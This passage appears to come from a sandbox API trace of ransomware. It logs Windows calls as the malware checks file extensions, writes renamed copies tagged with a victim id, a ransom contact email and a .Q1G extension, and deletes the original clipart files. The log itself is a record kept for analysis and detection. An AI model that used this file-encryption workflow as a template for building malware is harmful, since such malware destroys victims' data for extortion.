lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.438] lstrlenW (lpString=".rar") returned 4 [0264.438] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.438] lstrlenW (lpString=".bz2") returned 4 [0264.438] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.438] lstrlenW (lpString=".7z") returned 3 [0264.438] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.438] lstrlenW (lpString=".dbf") returned 4 [0264.438] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.438] lstrlenW (lpString=".1cd") returned 4 [0264.438] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.438] lstrlenW (lpString=".jpg") returned 4 [0264.438] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.439] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0264.439] lstrlenW (lpString="J0178639.JPG") returned 12 [0264.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.456] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=32038) returned 1 [0264.456] CloseHandle (hObject=0x1f8) returned 1 [0264.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg")) returned 0x20 [0264.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.457] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.457] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0264.458] GetLastError () returned 0x0 [0264.458] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x7d26, lpOverlapped=0x0) returned 1 [0264.472] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x7d30, lpOverlapped=0x0) returned 1 [0264.473] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.473] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.473] SetEndOfFile (hFile=0x3e0) returned 1 [0264.473] CloseHandle (hObject=0x3e0) returned 1 [0264.473] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.473] SetEndOfFile (hFile=0x1f8) returned 1 [0264.475] CloseHandle (hObject=0x1f8) returned 1 [0264.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg")) returned 1 [0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.535] lstrlenW (lpString=".doc") returned 4 [0264.535] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.535] lstrlenW (lpString=".docx") returned 5 [0264.535] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0264.535] lstrlenW (lpString=".pdf") returned 4 [0264.535] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.535] lstrlenW (lpString=".xls") returned 4 [0264.535] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.535] lstrlenW (lpString=".xlsx") returned 5 [0264.535] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0264.535] lstrlenW (lpString=".ppt") returned 4 [0264.535] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.535] lstrlenW (lpString=".zip") returned 4 [0264.535] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.535] lstrlenW (lpString=".rar") returned 4 [0264.535] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.535] lstrlenW (lpString=".bz2") returned 4 [0264.535] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.535] lstrlenW (lpString=".7z") returned 3 [0264.535] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.535] lstrlenW (lpString=".dbf") returned 4 [0264.535] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.535] lstrlenW (lpString=".1cd") returned 4 [0264.535] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.535] lstrlenW (lpString=".jpg") returned 4 [0264.535] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.536] lstrlenW (lpString=".doc") returned 4 [0264.536] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.536] lstrlenW (lpString=".docx") returned 5 [0264.536] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0264.536] lstrlenW (lpString=".pdf") returned 4 [0264.536] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.536] lstrlenW (lpString=".xls") returned 4 [0264.536] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.536] lstrlenW (lpString=".xlsx") returned 5 [0264.536] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0264.536] lstrlenW (lpString=".ppt") returned 4 [0264.536] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.536] lstrlenW (lpString=".zip") returned 4 [0264.536] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.536] lstrlenW (lpString=".rar") returned 4 [0264.536] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.536] lstrlenW (lpString=".bz2") returned 4 [0264.536] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.536] lstrlenW (lpString=".7z") returned 3 [0264.536] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.536] lstrlenW (lpString=".dbf") returned 4 [0264.536] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.536] lstrlenW (lpString=".1cd") returned 4 [0264.536] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0264.536] lstrlenW (lpString=".jpg") returned 4 [0264.536] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.536] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.536] lstrlenW (lpString="J0182898.WMF") returned 12 [0264.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.537] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=15150) returned 1 [0264.537] CloseHandle (hObject=0x1f8) returned 1 [0264.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf")) returned 0x20 [0264.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.538] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.538] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0264.538] GetLastError () returned 0x0 [0264.538] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3b2e, lpOverlapped=0x0) returned 1 [0264.548] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3b30, lpOverlapped=0x0) returned 1 [0264.549] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.549] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.549] SetEndOfFile (hFile=0x3e0) returned 1 [0264.549] CloseHandle (hObject=0x3e0) returned 1 [0264.549] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.549] SetEndOfFile (hFile=0x1f8) returned 1 [0264.552] CloseHandle (hObject=0x1f8) returned 1 [0264.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf")) returned 1 [0264.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.553] lstrlenW (lpString=".doc") returned 4 [0264.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.553] lstrlenW (lpString=".docx") returned 5 [0264.553] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.553] lstrlenW (lpString=".pdf") returned 4 [0264.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.553] lstrlenW (lpString=".xls") returned 4 [0264.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.553] lstrlenW (lpString=".xlsx") returned 5 [0264.553] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.553] lstrlenW (lpString=".ppt") returned 4 [0264.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.553] lstrlenW (lpString=".zip") returned 4 [0264.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.553] lstrlenW (lpString=".rar") returned 4 [0264.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.553] lstrlenW (lpString=".bz2") returned 4 [0264.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.554] lstrlenW (lpString=".7z") returned 3 [0264.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.554] lstrlenW (lpString=".dbf") returned 4 [0264.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.554] lstrlenW (lpString=".1cd") returned 4 [0264.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.554] lstrlenW (lpString=".jpg") returned 4 [0264.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.554] lstrlenW (lpString=".doc") returned 4 [0264.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.554] lstrlenW (lpString=".docx") returned 5 [0264.554] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.554] lstrlenW (lpString=".pdf") returned 4 [0264.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.554] lstrlenW (lpString=".xls") returned 4 [0264.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.554] lstrlenW (lpString=".xlsx") returned 5 [0264.554] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.554] lstrlenW (lpString=".ppt") returned 4 [0264.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.554] lstrlenW (lpString=".zip") returned 4 [0264.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.554] lstrlenW (lpString=".rar") returned 4 [0264.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.554] lstrlenW (lpString=".bz2") returned 4 [0264.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.554] lstrlenW (lpString=".7z") returned 3 [0264.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.554] lstrlenW (lpString=".dbf") returned 4 [0264.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.555] lstrlenW (lpString=".1cd") returned 4 [0264.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0264.555] lstrlenW (lpString=".jpg") returned 4 [0264.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.555] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.555] lstrlenW (lpString="J0182902.WMF") returned 12 [0264.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.555] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=7822) returned 1 [0264.555] CloseHandle (hObject=0x1f8) returned 1 [0264.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf")) returned 0x20 [0264.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.556] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.556] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0264.557] GetLastError () returned 0x0 [0264.557] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1e8e, lpOverlapped=0x0) returned 1 [0264.573] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1e90, lpOverlapped=0x0) returned 1 [0264.574] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.574] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.574] SetEndOfFile (hFile=0x3e0) returned 1 [0264.574] CloseHandle (hObject=0x3e0) returned 1 [0264.574] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.574] SetEndOfFile (hFile=0x1f8) returned 1 [0264.576] CloseHandle (hObject=0x1f8) returned 1 [0264.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf")) returned 1 [0264.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.577] lstrlenW (lpString=".doc") returned 4 [0264.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.577] lstrlenW (lpString=".docx") returned 5 [0264.577] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0264.577] lstrlenW (lpString=".pdf") returned 4 [0264.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.577] lstrlenW (lpString=".xls") returned 4 [0264.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.578] lstrlenW (lpString=".xlsx") returned 5 [0264.578] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0264.578] lstrlenW (lpString=".ppt") returned 4 [0264.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.578] lstrlenW (lpString=".zip") returned 4 [0264.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.578] lstrlenW (lpString=".rar") returned 4 [0264.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.578] lstrlenW (lpString=".bz2") returned 4 [0264.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.578] lstrlenW (lpString=".7z") returned 3 [0264.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.578] lstrlenW (lpString=".dbf") returned 4 [0264.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.578] lstrlenW (lpString=".1cd") returned 4 [0264.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.578] lstrlenW (lpString=".jpg") returned 4 [0264.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.578] lstrlenW (lpString=".doc") returned 4 [0264.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.578] lstrlenW (lpString=".docx") returned 5 [0264.578] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0264.578] lstrlenW (lpString=".pdf") returned 4 [0264.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.578] lstrlenW (lpString=".xls") returned 4 [0264.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.578] lstrlenW (lpString=".xlsx") returned 5 [0264.578] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0264.578] lstrlenW (lpString=".ppt") returned 4 [0264.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.579] lstrlenW (lpString=".zip") returned 4 [0264.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.579] lstrlenW (lpString=".rar") returned 4 [0264.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.579] lstrlenW (lpString=".bz2") returned 4 [0264.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.579] lstrlenW (lpString=".7z") returned 3 [0264.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.579] lstrlenW (lpString=".dbf") returned 4 [0264.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.579] lstrlenW (lpString=".1cd") returned 4 